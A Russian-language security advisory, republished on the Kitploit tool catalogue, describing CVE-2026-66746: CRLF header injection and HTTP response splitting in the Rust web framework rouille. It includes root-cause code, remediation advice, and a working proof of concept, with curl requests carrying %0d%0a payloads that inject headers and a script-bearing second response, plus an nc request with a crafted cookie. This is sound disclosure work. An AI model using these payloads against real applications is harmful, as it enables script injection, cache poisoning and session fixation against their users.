Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille- — Уведомление о безопасности: расщепление HTTP-ответа через непроверенные значения заголовков ответа (rouille) | Kitploit
Инструменты/GitHubGitHub/theopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-
Анализ уязвимостейАнализ КодаЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubtheopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-

CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-

Уведомление о безопасности: расщепление HTTP-ответа через непроверенные значения заголовков ответа (rouille)

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
23 дней назадЕщё не проверено

Уведомление о безопасности: HTTP Response Splitting через непроверенные значения заголовков ответа (rouille)

Присвоенный CVE ID: CVE-2026-66746

Сводка

rouille записывает значения заголовков ответа клиенту, не проверяя их на наличие возврата каретки или перевода строки. Поэтому приложение, помещающее текст, на который влияет атакующий, в значение заголовка, отправляет по сети дополнительные заголовки или целый второй HTTP-ответ.

Два свойства rouille делают это достижимым в обычном коде. Request::get_param декодирует процентные escape-последовательности, поэтому %0d%0a в строке запроса становится настоящим CRLF. А session::session копирует значение Cookie клиента в Set-Cookie без какой-либо проверки.

Каждый другой широко используемый Rust HTTP-стек отвергает это на уровне типов: http::HeaderValue::from_str возвращает InvalidHeaderValue для CR и LF, поэтому hyper, axum, actix-web и warp не подвержены этой проблеме.

Затронутые версии

URL репозитория: https://github.com/tomaka/rouille

Первая затронутая версия0.4.0 (2016-12-14) для указанного ниже пути формирования ответа
Последняя затронутая версия3.6.2 (2023-04-24), текущий выпуск
Исправлено вна момент написания исправленной версии нет

Версии до 0.4.0 формируют ответы через другой путь кода, который не проверялся, поэтому мы не утверждаем ни об одном из вариантов. Отражение session::session, описанное в разделе «Путь B», существует начиная с версии 0.3.2 (2016-12-02).

Серьёзность

CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers), частный случай CWE-93 (CRLF Injection).

Базовый балл CVSS 4.0: 5.3 (Средний) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Модель угроз

Путь A требует удалённого неаутентифицированного атакующего и жертву, которая переходит по ссылке, предоставленной атакующим. Атакующему нужно, чтобы приложение помещало любую строку, полученную из запроса, в заголовок ответа. Обычный случай — перенаправление на параметр запроса next или return_to.

Путь B требует только, чтобы приложение вызывало session::session и читало идентификатор сессии. Атакующий управляет собственным заголовком Cookie, поэтому сам по себе этот сценарий — атака на самого себя. Он становится атакой на других, когда общий кэш сохраняет разделённый ответ или когда он комбинируется с другим способом установки cookie в браузере жертвы.

Корневая причина

В rouille/src/lib.rs, строки 624–640, значения передаются напрямую:

root@kitploit:~
624              for (key, value) in rouille_response.headers {
625                  if key.eq_ignore_ascii_case("Content-Length") {
626                      continue;
627                  }
628  
629                  if key.eq_ignore_ascii_case("Upgrade") {
630                      upgrade_header = value;
631                      continue;
632                  }
633  
634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635                  {
636                      response.add_header(header);

Header::from_bytes проверяет только то, что байты являются ASCII, а CR и LF являются ASCII. tiny_http-0.12.0/src/common.rs, строки 166–172:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

Затем значение записывается без экранирования. tiny_http-0.12.0/src/response.rs, строки 99–104:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

Путь A: параметры запроса с процентным декодированием

Request::get_param декодирует процентные escape-последовательности, поэтому вызывающий код получает настоящие управляющие символы. rouille/src/lib.rs, строки 928–932:

root@kitploit:~
928              .map(|value| {
929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930                      .decode_utf8_lossy()
931                      .into_owned()
932              })

Путь B: идентификаторы сессии, отражаемые из запроса

rouille/src/session.rs берёт ключ из cookie клиента в строке 59 и подставляет его в заголовок ответа в строках 75–81:

root@kitploit:~
 59              key: cookie.into(),
...
 75          let header_value = format!(
 76              "{}={}; Max-Age={}; Path=/; HttpOnly",
 77              cookie_name, session.key, timeout_s
 78          );
 79          response
 80              .headers
 81              .push(("Set-Cookie".into(), header_value.into()));

Доказательство концепции

Путь A

Шаг 1. Запустите сервер, который перенаправляет на параметр запроса.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8002", |request| {
        let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
        Response::redirect_303(next)
    });
}

Шаг 2. Выполните запрос с %0d%0a в параметре.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'

Результат. X-Injected приходит как отдельный заголовок:

root@kitploit:~
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0

Шаг 3. Расширьте полезную нагрузку за конец заголовков, чтобы сформировать целый второй ответ.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'

Результат. Один запрос, два полных ответа. Второй содержит выбранные атакующим строку статуса, тип содержимого и тело:

root@kitploit:~
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

Путь B

Шаг 1. Запустите сервер, использующий документированную идиому работы с сессиями.

root@kitploit:~
use rouille::{session, Response};

fn main() {
    rouille::start_server("127.0.0.1:8006", |request| {
        session::session(request, "SID", 3600, |s| {
            Response::text(format!("session id: {}", s.id()))
        })
    });
}

Шаг 2. Отправьте cookie, значение которого содержит одинокий LF. \n ниже — это один перевод строки, \r\n — CRLF.

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006

Результат. Значение вырывается из Set-Cookie на собственную строку:

root@kitploit:~
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly

У пути B есть три ограничения, о которых стоит упомянуть. Проходит только одинокий LF, потому что CRLF завершил бы строку заголовка в tiny_http, поэтому клиент или кэш должен трактовать одиночный LF как разделитель. Всё, что находится после точки внедрения, по-прежнему несёт суффикс ; Max-Age=3600; Path=/; HttpOnly из того же format!, так что примитив представляет собой заголовок с фиксированным завершающим текстом, а не чистый произвольный заголовок. Кроме того, атакующий контролирует только свою собственную cookie. У пути A этих ограничений нет.

Воздействие

Выполнение скриптов в контексте безопасности источника, отравление кэша, когда общий кэш сохраняет внедрённый ответ для URL жертвы, фиксация сессии через внедрённый Set-Cookie, а также переопределение заголовков безопасности, таких как CSP или CORS. Поскольку путь A создаёт настоящий CRLF, каждый клиент и кэш разделяют по нему ответ.

Устранение

Проверяйте значения заголовков в Server::process перед передачей их в tiny_http, в rouille/src/lib.rs около строки 634:

root@kitploit:~
fn header_value_is_safe(v: &str) -> bool {
    !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}

Возвращайте 500 для всего ответа, а не отбрасывайте проблемный заголовок, чтобы сбой был видимым, а не молча менял ответ.

Также проверяйте ключ сессии в session::session: отклоняйте значение cookie, не соответствующее [A-Za-z0-9]+, и вместо этого генерируйте новый идентификатор. Проверка в Response::with_additional_header, with_unique_header и конструкторах redirect_* выявляла бы ошибку в месте вызова, где автор приложения может на неё отреагировать.

Скачать инструмент